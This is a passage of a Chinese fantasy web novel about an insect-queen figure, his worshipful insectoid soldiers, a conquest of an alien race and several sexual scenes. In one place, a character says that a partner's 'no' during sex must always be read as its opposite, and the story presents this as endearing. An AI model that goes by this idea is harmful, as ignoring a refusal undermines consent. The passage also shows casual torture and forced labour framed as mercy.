虽然希尔维乌斯觉得杀了就好，但利诺不准备这么做，于是改了口：“冕下，不如先将他关起来，等醒了再问。” 利诺踹了踹软成烂泥的白卤蛋，没有任何反应，他可有可无地点了点头：“只有这个活口？” 克凛恩尴尬道：“本来还有一个，但是我不小心用大了力气，捏碎了……” 偏向阴鸷的五官露出几分可怜相：“冕下，求您惩罚我。不用太轻，使劲儿踹我扇我就行。” 希莱耳冷眼告状：“冕下，您别奖励他，他一直想被你打来着！” “我没有！”克凛恩高声辩驳。 “你以为我傻？我看到你在星网上的发言了，星网用户名叫‘求冕下给我一巴掌’十条发言有九条在求冕下揍你。”希莱耳毫不客气地戳穿克凛恩的谎言。 希莱耳可看不上克凛恩这种嗜好，况且利诺要真揍虫，也得先揍他一顿！想想如果被冕下扇巴掌，估计巴掌扇过来的时候先是冕下那迷死虫的香气…… 荡漾的潮红浮现在卷发虫族的俊脸上，呼吸不稳。 克凛恩和希莱耳是多年的搭档，反讥：“你以为我不知道你的用户名叫什么？‘冕下何时踩我脸’？” 没有任何疑问，希莱耳和克凛恩得到了利诺怜悯的目光：“这是病，得治。” 利诺认为两位军长估计是关迷雾之门关疯了。 不等两只高级虫族解释，利诺叫来医护虫族，让他们务必治好希莱耳和克凛恩的病，拉着希尔维乌斯就走了。 回到房间，利诺看了眼腕表时间，惊讶地抬头，他记得在门内世界待了最少两个月，但腕表却显示他们只进入不到三个小时。 想了想萨亚约的身份，利诺不觉得时间流逝的差异有多大的问题。 他看向低头不知道在想什么的虫族，被包裹的手指俏皮地挠了挠雄虫的掌心：“希尔维乌斯，你在不高兴吗？” 希尔维乌斯敛下眼皮：“没有，冕下，我没有不高兴。” “我在生气我自己，在迷雾中没有帮到您，后来还忽略了那些异族的靠近。”希尔维乌斯这次说了很长一段话，“明明是我带您出来游玩，却没想到会遇到这些情况……被打的虫应该是我！” 虫群不是没有感知到隐形的飞船群靠近，可是那些异族太弱了，弱到虫群根本不觉得这是威胁，本能的警告神经压根不觉得这有防备的必要性。 可是冕下不一样，希尔维乌斯想，冕下和他们这种皮糙肉厚的虫族不一样，冕下的脸就算用相对软的内衬布料擦拭都会红肿。 如果真被攻击，而他没有及时闪避，那么当时他怀里的利诺冕下肯定会破层皮。 那可是破皮！说不定还会有血痕出现！ 寻常虫族断个胳膊断个腿都不要紧，但若是他们保护的小蝴蝶破了皮，那简直不可饶恕！ 希尔维乌斯难过地闭上眼，将一把锋利的匕首放到利诺的手中：“冕下，求您罚我。” 虫族俯身在利诺的腿边，深邃英俊的五官满是自责和痛苦。 泛着冷光的匕首拍在希尔维乌斯的侧脸，利诺垂眸：“你也想让我扇你巴掌？还是用脚踩你的脸？” “……都可以，冕下可以随自己的喜欢。”希尔维乌斯紧闭着的眼皮轻颤。 说实话，他更觉得这是奖励，而非惩罚。 特制的匕首很锋利，但对于全身几乎是bug的虫族而言，仅能留下一道浅浅的红痕，除非虫族自愿被攻击，撤去拟态成人型皮肤的外壳。 利诺没打算真要伤害希尔维乌斯，踩脸是很伤自尊的行为，他并不觉得希尔维乌斯没有保护好他。 他没有那么脆弱，他杀过很多丧尸和怪物，只有虫族会紧张兮兮的把他当做易碎的瓷器。 匕首落在地上，希尔维乌斯讶异地睁眼，想要询问利诺为什么要扔掉武器。 可下一刻，他的心狂跳、翅膀延展分泌蜜液。 利诺搂着他的脖子，将唇贴在他的嘴上。 红艳的、缀着漂亮唇珠的双唇携着难以预料的惊喜，含住希尔维乌斯偏薄的双唇。 利诺接吻没有闭眼的习惯，他的双眸明亮璀璨，在彻底侵入虫族口腔的时候，轻轻咬了口他的嘴角。 希尔维乌斯彻底愣了，以至于当小蝴蝶侵入其中，咬住他的舌时，他才意识到，他的冕下……在亲吻他？ 亲吻这个概念，是利诺教希尔维乌斯学会的，是唇唇相碰，也是唇舌交缠，是爱欲的体现，也是……另类的惩罚。 利诺在用嘴巴惩罚希尔维乌斯，也在用嘴巴奖励希尔维乌斯，惩罚他莫名其妙的自责，也奖励他在迷雾世界内即使没有记忆也仍然保持的乖巧。 第43章 灵活的舌侵入希尔维乌斯的口腔，习惯地探索虫族的口腔两侧，寻找不存在的蜜液分泌囊，汲取好吃的甜汁。 但利诺清楚，蜜液分泌腺长在嘴巴里的虫族是少数，他在希尔维乌斯的口腔内只能触摸到光滑的内壁。 利诺小小舔了口，就准备结束这个不算长也不算短的吻。 腰和后脑勺被按住，高级虫族的气息越发浓郁，利诺从喉间溢出一声轻哼，没来得及思考发生了什么事，他被迫与希尔维乌斯的唇贴得更近。 希尔维乌斯反应了过来，火焰于他的胸口澎湃燃烧，在察觉到小蝴蝶即将结束时，他阻止了小蝴蝶的离开。 没有虫母的虫族没有亲热这根神经线，然而有了虫母的虫族只需要他们的冕下稍微教导，就能举一反三，领略更多如何让妈妈舒服的方法。 抚弄着利诺的腰窝，希尔维乌斯重重磨了下利诺的唇，反客为主，侵入，将利诺的口腔塞得满满当当。 他贪婪地吞吃冕下的口水，侵略冕下的舌和口腔，粗糙的舌面一刻也不停，用又重又温柔的动作纠缠利诺显得无措的舌。 这种感觉很上瘾，是希尔维乌斯从未体验过的，是妈妈教给他的。 希尔维乌斯要当妈妈最好的学生，他用尽全力回吻利诺，争取吃掉妈妈嘴巴里的所有液体。 利诺游刃有余的表情立马变成了局促和陌生，他从主导者变成被索取的一方，被高大的虫族环在胸口被不断索取。 不知持续了多久，希尔维乌斯才不舍地结束，在利诺水润润的嘴巴上轻啄，呢喃道：“妈妈的嘴巴红了，我给妈妈擦药。” 牲口啊！ 利诺抿着唇，正眼不瞧希尔维乌斯，半合着眼让希尔维乌斯擦满治愈剂的指腹按在有些疼的嘴巴上。 清凉的药让火辣辣的感觉消退了些。 希尔维乌斯抵着利诺的额头，垂头喟叹：“谢谢冕下的赏赐。” 他亲密地凑过来，呼吸灼热地缓缓发誓：“我会继续努力，争取再得到冕下的赏赐。” 利诺哼了声，没有下次了，他是脑子被驴踢了才想亲虫子！ 虽然……亲吻确实挺舒服的，利诺的耳朵红彤彤的。 随即那点红就被希尔维乌斯含在了嘴巴里，如同吃樱桃般，轻轻咬住红透的耳垂。 利诺因为痒而本能闪避，反而更加紧靠希尔维乌斯的胸膛，硬硬的，是肌肉紧绷的状态。 “可以舔一舔妈妈吗？”寡言的希尔维乌斯哑着嗓音，乞求他的面下。 “……不可以！”利诺瞪了希尔维乌斯一眼，舔个头。 他说起正事：“我进迷雾之门前有联系蓝星的赫弥珞，他们估计正在带领军队过来。” 利诺捏着希尔维乌斯的脸，红艳艳的唇张张合合：“你去接应。” 虽然这种事有其他的虫族做，希尔维乌斯这个一军军长并不需要亲自去，然而他只是埋在虫母的脖颈处，克制地吸入冕下的甜美气息：“遵命，冕下。” 这次来的是赫弥珞和安瑟姆，不知道是什么时间到的，等利诺早上醒过来吃早饭的时候，作为护卫的安瑟姆已然守在门口。 “冕下，您这次太冲动了！”安瑟姆担忧道，希尔维乌斯他们已经说了这扇门的不同，以及他们差点被门内世界同化的危险。 安瑟姆拉过利诺的手，头次不那么纵容和温柔，而是面带严肃。 利诺居然有些心虚，他深刻反思，并不觉得自己有做错什么，于是硬气昂头……然后把头靠在安瑟姆的怀里，用漂亮的大眼睛可怜望着安瑟姆，不说话。 安瑟姆叹了口气，无奈：“冕下，您不要装可怜。” 利诺眨眨眼：“安瑟姆，我饿了。” “也不能转移话题。”安瑟姆这次的态度很强硬。 得知无法蒙混过关，利诺索性坐直：“可是我永远不可能坐在后方，你知道的，安瑟姆。” “我明白，冕下，我明白。”安瑟姆揉了揉利诺翘起来的一缕头发，“我无法阻止您，但希望您在做什么危险的事情时可以先告诉我们。” 安瑟姆还记得他得知利诺进了一扇很奇怪的迷雾之门时的慌张，他拂过利诺的嘴角：“您是我的、也是整个虫族继续活着的希望。” 利诺噗嗤笑了出来，倒在安瑟姆的身上：“你这说的太严重了，没我的时候咱虫族不也继续存在了几千年嘛！” “冕下，不曾拥有和拥有过是两个完全不一样的概念。”安瑟姆熟练地伸出虫翅，椰奶味的蜜液吸引了利诺的全部注意力。 假如不曾拥有，虫族可能还会像往常那般，麻木着驱散迷雾，直至最先进的科技手段都无法实现虫族的繁衍，虫族会很平静地迎来灭亡的结局。 但拥有过又失去，虫族绝对会发疯，然后迅速走向自我毁灭中，也许还会极端到拉着整个宇宙一起死。 天大地大吃饭最大，利诺将安瑟姆的话撂到一边，专心致志叼着安瑟姆的翅膀尖尖干饭。 安瑟姆不打算说这种沉重的可能性，只要利诺意识到他很重要就可以了。 突然，翅膀根被咬了就，安瑟姆的翅膀猛地一震，更多的蜜液顺着虫母的动作被压榨出来。 被坏心眼的青年作弄，安瑟姆并不觉得什么，他柔顺的忍耐惹来的是利诺越发过分的索取。 忠诚木讷的护卫长也只会任由他的冕下索取，哪怕利诺在某一天不再满足只吃蜜液，而是想要吃掉整只的他。 在虫族开始进化前，没有多少智慧的虫子就学会了强者吞食弱者，攫取组成优质的基因链，最终在黑雾的驱使下形成一个崭新的种族。 如今的虫族虽然早就没有了那种野蛮未开化的做法，但如果利诺想吃，虫族会全心全意地将自己摆在虫母的餐桌上。 在会议室内，利诺说出来自己的打算：“咱们虫族的数量还是太少了！” 赫弥珞回应：“繁育所和养育院在近年来一直有意扩充，现在虫蛋出生的数量也有明显的增加。” 利诺摇头：“太慢了，光是一只虫族，从出生到成年最少需要十年的时间。” “那冕下，您的意识是？”赫弥珞似乎想到了一种可能性。 利诺从门内出来后不是一直在睡觉，而是用大部分的时间研究自己意识海内的树。 早在诞下第一批子嗣时，利诺就意识到那虫树与其说是他意识海的一部分，到不如说是他的一部分。 虫躯蝴蝶，和那颗古怪的树，都是他。 他有大部分生物孕育的器官，只是器官不在他的腹部，而是意识海内的那颗虫树。 只要有丰富的虫族基因、绝对的力量和足够的营养，他就可以没有任何代价地繁育更多的虫蛋。 可以说，由他繁育的子嗣才是真正的虫族，拥有数量庞大和成长迅速的特点，从幼年期到成年期乃至衰老期，出生的目的就是保护和狂热追随他这个母亲。 精神力化形，利诺在早上从意识海的虫树上掰下来十几根枝条，摆在桌面上。 这也是他为什么晚上才吃了希尔维乌斯的蜜液，早上又饿的原因，摘取树的枝条对利诺来说不痛，但比较耗费精神力。 “这是……”会议室内的所有虫族都把目光放在那黑色却长着玫瑰红叶子的枝条上。 那上面有妈妈的味道，温和包容，光是看上一眼就感觉回到了虫蛋时期。 利诺道：“这是十五根虫树的枝条，可以先分给十五个星球的繁育所，只需要提供充足的营养和……基因，就可以生长和繁育。” 小虫母美滋滋的，试问他这种能力谁有？也就他有！ 他拄着下巴，莫非他真是天才，能想出这种天才做法！ 只是利诺没想到，虫族到没有多少高兴，而是忧心忡忡：“冕下，这对你的身体有没有影响？” 如果虫族的数量提升是以虫母的身体健康为代价，就算这种繁育方式确实高速，他们也绝不会同意。 利诺愣了下：“没有，顶多就是变饿的速度快了点。” 枝条依旧和他有深刻的联系，毕竟那是他的一部分，利诺估摸道：“大概要从一天吃一顿饭要变成一天吃两三顿饭。” 想了想，利诺又补充：“这种方法不长久，枝条在繁育一定数量的虫蛋后会枯萎消失，而且不是我本体繁育的虫蛋，出现高等虫族的概率会下降。” 这是一个过渡方法，利诺在这几次迷雾之门中深刻认识到虫族目前的数量劣势，虫族缺失虫母的时间太久，必须先用一些方法将数量提升上来。 赫弥珞深思道：“冕下，我可以为您提供优质基因！” 他神情冷肃，似乎不觉得自己在说什么。 “希望您考虑我，冕下。”希尔维乌斯眼也不眨。 “冕下，我可以！我已经学习了丰富的相关知识！”希莱耳连忙站起来。 “冕下需要我，我也会提前学习……” 剩下的几只中级和高等虫族也略带激动和羞涩地看向利诺。 肃穆的氛围瞬间变得暧昧，虫族的身上都要飘起粉红色的泡泡。 利诺抽抽嘴角：“不需要！枝条繁育的时候，只需要繁育所把提取的基因和营养液放在一起。” 虫族的神情顿时无比失望。 利诺敲敲桌面：“我们这是正经会议，不要搞黄！” “满足冕下的需求，让冕下舒服，怎么能不算正事？”有只科研型中级虫族道，“古蓝星留下的一些资料上有记载，像冕下您这样的，每隔几年都需要选出一些王夫繁衍子嗣。” 赫弥珞轻咳：“蓝星的科研院已经在研究了，并正在尝试起草相关文件。” “……这事我怎么不知道？”利诺满脸问号。 “文件处于准备阶段，所以还没有让您过目。”赫弥珞回答。 利诺正要说什么，几名士兵打断会议室内越来越怪异的氛围：“报告冕下，五军的侦察C队发现了一队飞船正在往这里赶来，与昨天的异族飞船相似。” “该异族舰队在发现侦查C队时尝试攻击，单被C小队歼灭。” 利诺着实不明白异族的想法：“我们还没找他们的麻烦，他们上赶着来让我们找麻烦？” 克凛恩的眉眼本就阴鸷，这下更加凶厉：“冕下，请您让我带队，教训这些不知好歹的异族。” “可以。”利诺只打有准备的仗，并且足够谨慎小心，“希莱耳，你和克凛恩一起去。” 他倒要看看这些异族有什么依仗。 第44章 事实证明，异族还真没有什么倚仗。 这片星系已经被迷雾侵蚀到不剩几个星球，而其中只有一个星球是异族集中生活的，剩下的都只有些士兵。 当希莱耳和克凛恩带着虫族一个星球一个星球的杀过去时，这些异族仍旧在怀着仇恨的目光在反抗，用着虫族早已淘汰的武器。 此时，异族聚集的主星上空漂浮来自虫族的巨大军舰，这主星的体积还不如环绕蓝星的卫星大，却足有几百万的居民。 虫族没有立刻动用军舰上最强力的武器，那武器虽不是灭世级，却足以将整个星球顷刻毁灭。 好奇心和探究欲使然，利诺打算先弄明白为什么异族不选择友好交流和合作，而是不发一言地攻击。 普通的异族平民混不知情，他们的权力中枢早就被虫族控制。 相对宽阔的办公室内，挤满了虫族能抓到的高级征服要员，其中几只苍白肤色的无毛人形异族穿的还是睡衣，是在家睡觉的时候被虫族士兵拷起来带到这里的。 寂静无声，只有异族带着恐惧的呼吸，以及虫族士兵时不时投来的震慑眼神。 希莱耳拿着名单一个一个比对，最终停留在一肥胖油腻的异族面前，虫瞳携着强烈的非人感，让其双腿抖成了筛子。 突然，希莱耳的鼻尖抽动，嫌恶地后退几步，异族的脚下多了一片水泊，竟是吓尿了。 希莱耳不得不重新确认了一遍，没错，这个出糗的异族就是目前管理异族的总统。 啧，希莱耳更加嫌弃，他连话都没说，这异族就已经成这样了。 克凛恩走进来，扫了一眼异族，垂在地上的蝎尾瞬间抬高，就要将其弄死。 “冕下说要留着他问话。”希莱耳阻止了克凛恩。 克凛恩冷笑：“这种垃圾的存在只会玷污冕下！” 这样说，克凛恩收起攻击的打算，拧着眉催促希莱耳：“快问！” “……大人！我们、我们错了，请、请饶我一命！”虫族和异族间的沟通没有障碍，胖总统战战兢兢地求饶，“我们愿意当您、还有那位冕下的狗！” 希莱耳暴躁地将胖总统踹飞：“闭嘴！我都当不了冕下的狗，你配吗？” “……不配，我不配……”希莱耳没使劲儿，但也让胖总统捂着胸口艰难坐起来，一边喘气一边强颜欢笑。 “总统大人，你怎这般没骨气！”名单上职位为副总统的异族忍不了，站起来怒斥总统。 他冷冷地看向希莱耳和克凛恩：“要杀要剐随你们便，你们惹怒了黑雾，还企图驱赶黑雾，你们的死期将至！” 这话说得虫族不明白，在宇宙的主舰上旁观的利诺更不明白，他捧着果汁小口啜饮：“我们驱赶黑雾、关闭迷雾之门有什么错？” 利诺的声音顺着希莱耳的腕表同样传到这只副总统的耳朵里，副总统全然不怕死，冷笑：“黑雾是伟大的存在，是保护我们的神，是让我们免于你们这些恶族侵袭的保护墙！黑雾是宇宙的主宰，你们这些不敬黑雾的种族最终都会死！” 克凛恩面如冷霜，骂他会死，但咒他的冕下，死就太轻松了。 蝎尾的顶端冒出尖锐的刺，在副总统的咒骂再度继续时，刺近他的脖颈。 几根尾针从尾钩脱离，顺着体内的血液循环流入心脏和大脑，难以忍受的疼痛席卷，副总统惨叫倒地打滚。 其他高层瑟瑟发抖，有些奇特地瞄了眼副总统，那些话忽悠忽悠普通民众就行了，怎么反而自己还被忽悠洗脑了？ 黑雾是保护他们的神？荒谬至极，那分明是只知道吞噬一切的刽子手！ 利诺明白了，这异族把侵略的黑雾当成神祇，把他们驱散黑雾的虫族当成侵略者，他喝光杯里的果汁，悠闲问：“迷雾出现前，你们的星系就这么小？” 这当然不是，胖总统看了眼求生不能求死不得的副总统，更加恐惧，恭敬回答：“这自然不是……是迷雾的侵蚀让我们的家园越来越少……但我们知道，黑雾只是想让我们免于外部的骚扰……” 总统欲言又止，说着冠冕堂皇的话，似乎不想把最后一层遮羞布扯下。 克凛恩的蝎尾把墙壁砸穿，总统立马把自己知道的全都吐露出来：“其实我们知道，那黑雾不是好东西……但是之前的总统发现，只要定期往里面扔活物，黑雾吞噬的速度会下降。” 他擦了把汗：“我们一直往里面献祭，一开始用死刑犯，死刑犯不够就用普通罪犯，到现在就是抽平民……” 利诺把杯子交还给安瑟姆，点评：“没有安瑟姆的蜜液好喝。” “冕下，您想喝蜜液了？要不要吃我的？”希莱耳眉眼瞬间温和，像只哈巴狗，对着腕表说话，和刚才一脚把大门踹飞的怪物完全不一样。 克凛恩嫉妒蜘蛛在门内被冕下汲取蜜液的好运，再抬头望向腕表的全息投影时目露渴望，不复阴沉。 利诺则朝对面的两只雄虫轻轻笑了笑，对总统正色道：“所以你们把黑雾打造成神，让你们的民众心甘情愿奉献？” “……对。”胖总统一直低着头，现在才稍微抬起头，立刻被投影的青年那惊心动魄的美貌镇住。 而全息投影甚至还原不出利诺十分之二三的长相！天啊，胖总统刚才只能从声音中听出这些怪物口中极其尊敬的冕下很年轻，但他没想到冕下会那么年轻、那么漂亮。 怪不得他为了活命都下贱到说可以当狗，这些怪物反而更加生气…… 感受到周遭虫族的杀意，总统立刻低下头，双膝跪地：“冕下，求您饶来我们，我们是太害怕，毕竟您的种族太厉害，居然能够驱散黑雾！” 起初总统是不同意对这些可以驱逐黑雾的虫族动用兵力，奈何他就是个吉祥物，副总统才是真正的掌权者。 而且这副总统是个连自己都洗了脑的狠人，把黑雾真当成了神明，他厌恶虫族的行为，认为他们不敬，才下了命令，同样被洗脑的民众包括士兵自然也满腹仇恨。 胖总统真的想活，他是看出来了，这个过分年轻的青年才是绝对的主宰，凶残的怪物只会听他的话：“以后您要做什么，我们都可以为您做！” 耐不住利诺的撒娇，安瑟姆又为小蝴蝶倒了杯用熊蜂奉献的蜜做成的饮料。 虫母诞生后，熊蜂采蜜都积极了不少，他们出现在各颗没有迷雾的星球上，其他虫族撞见他们辛勤酿蜜的次数比以往多得不是一点半点。 熊峰制作出各类味道的花蜜和果蜜，定期送到利诺的跟前，在得到小虫母奖励的摸头后，又嘿咻嘿咻地快乐离开。 利诺对虫族很温柔和善，但是对异族就没那么好脾气了：“可是你们又弱又没用，我留你们好像没有什么理由？” 他的话轻飘飘的，却带着极重的压迫，令总统以及其他高层感受到死亡的气息。 这位冕下好似要彻底解决他们这个族群，总统知道，冕下是有这个实力的，光是这两只虫族带来的军队就足以踏平主星。 豆大的汗珠如同雨点般，从总统的脸上滑落，身上的睡衣濡湿一片，先前湿掉又快被他捂干的睡裤再度变湿。 刺鼻的臭味让虫族更加嫌弃，希莱耳和克凛恩无声屏住了呼吸。 突然，胖总统似乎想到了什么，欣喜道：“冕下！我们有用！我们可有用了！” 他为他的族群，更是为他自己找到了一条生路：“冕下，黑雾将星际四分五裂，您想必对其他种族很感兴趣？我知道，除了您的族群和我们伪族，还可能有其他的种族！在黑雾没来前，几乎所有的种族组成了星际联盟，我们伪族就是其中的一个。” “说实话，在二十年前，我这个位置的前任接受过来自现存联盟种族的消息……可惜后来黑雾越来越浓，我们再也接不到了……但是我知道联盟传消息的具体方向！” 利诺有点兴趣，但不大，给他足够的时间，他也能找到其他的种族。 总统继续恭维道：“您这般强大，完全可以当全星际的霸主啊！我们可以当您的一块垫脚石！把其他种族的所有消息告诉您！” 异族不像虫族是后诞生的，他们没有文明断代，对迷雾前的星际种族多多少少都有记载。 利诺话题一转，问了个其他的问题：“你们熟悉挖矿吗？” “挖矿？可以啊，我们伪族最喜欢挖矿了！”总统知道利诺这是不准备赶尽杀绝了，连忙点头。 利诺不是因为总统口中的其他种族而改变的主意，是他一开始就没打算杀光伪族，毕竟他们虫族星球太多、数量又少，但武器、设备和生活的方方面面都需要能源。 能源从哪里来，从各个能源星球挖矿得来，虫族用机器挖矿确实效率高，但多些挖矿的也不亏。 投影中断，利诺只喝了半杯蜜饮，对安瑟姆吩咐：“先找几个边缘不重要的能源星球，把这些异族带去挖矿。” 想了想，利诺：“不用太过于苛刻，基本的物质条件还是要给他们的。” “冕下仁慈！”安瑟姆真觉得小蝴蝶心善，明明可以将这些麻烦彻底解决，但是他的小蝴蝶却偏偏留下了他们。 私心觉得给他挖矿的越多越好的利诺打了个喷嚏，连忙挥舞翅膀：“等等，是不是有人在骂我！” 不做亏心事，不怕鬼敲门，但奈何利诺刚刚把一个种族发配去给他挖矿，做坏事的小虫母有点点心虚。 “冕下，我们爱你还不够，怎么会舍得骂您？”安瑟姆无奈地蹲下，亲亲利诺的鼻尖，注意到桌上的一束鲜花，“是不是花粉的原因？” 第45章 护卫长警觉地用尾钩将花瓶卷起抬高：“这种花的品种我似乎没有见过。” “是洛尔南送的。”利诺踮起脚尖去拿，身高不够，手在空中挥舞几个来回，连安瑟姆的尾钩都没摸到。 安瑟姆的尾钩卷着花瓶左右甩，利诺就像是被逗猫棒逗弄的小猫，顺着虫族晃动的尾巴来回窜。 利诺很努力在抓尾钩内的花瓶，但每次在快要抓到时，安瑟姆要么甩到一边，要么就抬高，总之利诺始终抓不到。 “冕下，我需要先化验其中的成分。”安瑟姆口吻正经，但偏偏尾钩始终勾着一只小蝴蝶。 利诺在地面上抓了半天，突然想起来自己有翅膀。 轻巧的翅膀扑打，带动利诺离地，抓住安瑟姆的尾钩，将花瓶里的那朵开得极其盛的花取了下来。 “安瑟姆，你什么时候学坏了？”利诺愤愤地踩了脚安瑟姆不安分的尾钩，又小心翼翼查看了花的状态。 安瑟姆笑道：“冕下今天在沙发上坐了一天，都没有运动。” “因为要关注希莱耳和克凛恩他们在伪族的情况嘛！”利诺收起翅膀，走到安瑟姆面前，空着的手伸到安瑟姆冕下，“给我，花瓶也是洛尔南一起送过来的。” “冕下……很喜欢洛尔南吗？”安瑟姆将花瓶交还给利诺。 那朵花的颜色像极了利诺发尾和尾翅的红晕。 虫族很贪婪，尤其是在有关于虫母的事情上，就算是从小以虫母护卫培养的安瑟姆，在得到小虫母的一点偏爱后，都会不自觉想要贪心更多。 这不对，安瑟姆已经警告过自己无数遍，他只是利诺的虫，但利诺不会只是他的。 大概是利诺对那朵花的态度太珍重了，安瑟姆没忍住隐藏在血脉里的、与其他雄虫竞争母亲的本能，说出和他平时形象不大符合的话。 “当然啦！”利诺摸了摸花瓣，“这是洛尔南关闭一扇迷雾之门后在迷雾散去的地方发现的唯一一个生命。” 利诺和洛尔南一直在腕表上有联系，基本都是洛尔南主动联系，次数不多，但足够让洛尔南他的名字不会被小虫母遗忘。 洛尔南的能力不低，已经开始进行高年级虫族才是上的迷雾驱散实践课了。 不过，利诺关注的不是洛尔南送花的举动，而是送来的这朵花。 笼罩在每个星球的迷雾有极强的腐蚀性，即使将迷雾驱散，也不会有生命留下。 哪怕虫族科技发达，但要彻底消除土壤的有害成分，在上面种植植物、畜养牲畜也需要一番大力气。 这朵花是特例，或许科研院可以通过这朵花培育出更多适合生存的植物品种。 驱散迷雾的虫族对这片迷雾层笼罩的土地会具备支配权，在死后支配权才会转移，成为整个虫族的公共财产。 洛尔南将这朵极其珍贵的花送给了他心爱的小蝴蝶。 这也是为什么军部虫族手底下都会有那么一两颗自己的星球，像希尔维乌斯、赫弥珞这样的高级虫族拥有的星球只会更多。 安瑟姆眸光闪烁：“如果洛尔南知道您如此小心这份礼物，他应当会很高兴。” 在情爱上少了根筋的利诺终于察觉到他家护卫长那不对劲的语气了，似乎有些阴阳怪气？ 利诺捧着花瓶抬头，安瑟姆那张不算过于英俊却非常耐看的脸印入眼帘。 安瑟姆似乎不怎开心？利诺将花瓶放在桌上，勾住安瑟姆的脖子，把自己挂在了雄虫的身上，带着点调侃：“我们队长怎么了？” 安瑟姆拖住利诺的腰窝，往上提溜了下，让自己可以和利诺直视，他做不到对利诺说谎。 “冕下，您应该罚我。”安瑟姆如实回复，“我违背了虫母护卫队守则，对冕下宠爱的其他虫族生出了嫉妒之心。” 这是不应该的，如果再来几次，安瑟姆不确认自己还有没有资格继续成为利诺的护卫。 利诺定定看了眼渐渐垂下头的虫族，不得不说，安瑟姆有时候过于死板。 只是这不是缺点，招不来利诺的厌烦，反而会让他忍不住欺负安瑟姆。 思绪转了几圈，利诺面上收起笑，以上位者的姿态凝视安瑟姆，挑起护卫长的下巴：“你想要什么样的惩罚？” “冕下……开心就好。”下巴抬起，安瑟姆下意识去追寻冕下的面容和竖瞳。 “唔！”安瑟姆的喉间溢出轻哼，又很快被压下。 被护卫抱在怀里，利诺很轻松地从安瑟姆脖颈处的领口探了进去，攥住翅膀收缩的肩胛骨，在安瑟姆即将叫出来的时候，他用另一只手的食指抵住安瑟姆的唇。 玩心大发的利诺是只心黑的小蝴蝶：“安瑟姆，不准出声，不许伸出翅膀，也不许分泌食物！” “这是我对你的惩罚。” 安瑟姆颤抖了下：“遵命，冕下。” 他任由坏心眼的小虫母欺负。 房间里蔓延椰奶的味道，雄虫的制服凌乱，肌肉精壮，背脊的翅膀隐藏处被柔弱的虫母捏住。 古板的虫族只得咬着牙，隐忍的汗水从额头滑落。 安瑟姆对自己的要求极其严格，作为虫母忠诚的下属和名义上的子嗣，他无条件服从虫母的一切命令。 直到利诺低下头，趴在安瑟姆的肩膀上，轻轻舔了口。 安瑟姆紧绷的身体再也坚持不住，跪坐于铺盖的厚地毯上，胸口剧烈起伏。 可怜的护卫长还是因为他侍奉的虫母而不得不分泌出椰奶味的蜜液，在不张开翅膀的前提下。 “安瑟姆，你没有挺过责罚哦！”利诺吃了口虫蜜。 安瑟姆的气息不稳：“请、请冕下责罚。” 利诺的嘴角带着点蜜液，可能是因为安瑟姆克制中的蜜液带着点其他的效果，他的嗓音也有些沙哑。 他坐回沙发，大半身体陷进松软的材质内。 “那这次罚你，好好侍奉我。”利诺撩起额头的碎发，眉眼艳丽漂亮得不可思议。 安瑟姆喉结滚动，咽下口水，跪坐在利诺的脚边，攥住了纤细白嫩的脚踝，哑道：“遵命，冕下。” 一夜过去，利诺精神萎靡，坐在会议室内半合着眼，捧着热水慢慢喝。 赫弥珞是见过利诺这个模样的，他挑眉，不见喜怒：“冕下，您看起来很累。” “……还好。”利诺越想越觉得这哪里是对安瑟姆的惩罚，分明是对自己的惩罚！ 安瑟姆让他见证了他的身体有多柔韧，什么逆天姿势都能摆出来，简直是…… 过分！ 利诺面无表情捏碎了手中的杯子，碎渣掉落，会议室内的虫族都纷纷站起来去确认利诺的安全。 宽阔的会议室立马拥挤得不行。 安瑟姆连忙将利诺抱起来，擦干利诺的手指，将碎渣扫落。 居家机器连忙走过来，电子屏幕是怒气满满的表情：“都闪开！不要挤！一堆臭虫子！” 等来到利诺面前，电子表情闪变成心心眼：“冕下，您没有伤到吧？可恶的臭虫都不知道保护您！该打！” 利诺愣了愣：“谢谢关心，只是这……伤不到我……” 他甚至可以徒手捏成粉末！ “冕下真棒！冕下是最厉害的！”居家机器一边打扫，一边吹彩虹屁，一手刷子一手吸尘器，将军舰内的地面恢复成原本的模样。 “冕下再见～冕下有需要可以还叫我哦～”居家机器转身离开，它的背面全是凹下去的坑洞。 那是和其他居家机器打架争夺打扫名额的战绩。 虫族的彪悍，就连装载虫族意识到家政机器都不会丢失。 赫弥珞冷冷看了眼低眉顺眼服侍利诺的安瑟姆，随即道：“冕下，您先休息，其他的事情我会处理。” 利诺知道自己有几斤几两，不过度坚持。 毕竟他的腰挺疼，差点被安瑟姆折成两截，不过他也没输，他在安瑟姆的腹肌上留下了一堆牙印，还有背上的抓痕。 最后还是他赢了！ 利诺不争取每件事做到最好，但会争取比上次好。 这次他进步了，他硬扛着没有昏！ 想到这，利诺就有几分得意，不急着离开，而是问：“选好伪族的挖矿星球了吗？” 一直默不作声的希尔维乌斯此时道：“冕下，离三号星系最近的有五个能源矿星，能源矿的种类并不重要，且足够承担伪族的数量。” 利诺扫了眼那几个矿星，非常不重要的矿石种类，甚至虫族压根就没打算开采，优质的能源星他们都挖不过来。 “就这几个了，多放点士兵和战争机器，让他们先挖上几年，等彻底老实了再去挖重要的。” “这是自然。”希尔维乌斯点头。 利诺满意道：“希尔维乌斯，你跟我走，等我睡醒咱们接着去挖玉石。” 他既然答应了要和希尔维乌斯一起去玩，当然不会失约。 至于安瑟姆，他应该回去继续和拉斐尔制定帝国律法，而且利诺短期内不想栖息在他那根尾钩上。 希尔维乌斯沉沉的眸瞬间亮起来，跟着利诺离开。 “你做了什么，惹得冕下睡觉都不要你了？”赫弥珞问安瑟姆。 安瑟姆迟疑：“只是试了曾经在课本上学到的侍奉冕下的方法。” “冕下明明都舒服到哭了……”护卫长不理解，冕下还说不要。 但仔细学习过的虫族知道，在这种时刻冕下的一切话都必须当成反话听。 他非常认真地执行了这个要点。 安瑟姆不是炫耀，但赫弥珞听来就是炫耀，他扭头就走，在腕表上找拉斐尔要更多的服侍资料。 在姿势这一块，他不会再输给安瑟姆！ 第46章 利诺背后蓦地发凉，这种仿佛被做局的错觉是什么？ 他猛地转身，身后只有几只护卫虫族，没有可以威胁他的存在。 “冕下，是发现了什么吗？”落后他半步的希尔维乌斯同样转身，手放在腰间的武器上。 利诺摇摇头：“没，大概是精神过敏了。”他摸了摸脖子，脖子上有些零碎的淡红，那是被发热的雄虫用畸形口器眷恋细致吸吮后的产物。 注意到那些痕迹的希尔维乌斯暗了暗眼神，不再说话，沉默跟在利诺的身后回到小虫母的房间。 他本就不是多话的虫，也就在利诺面前话会多些，但也仅此而已。 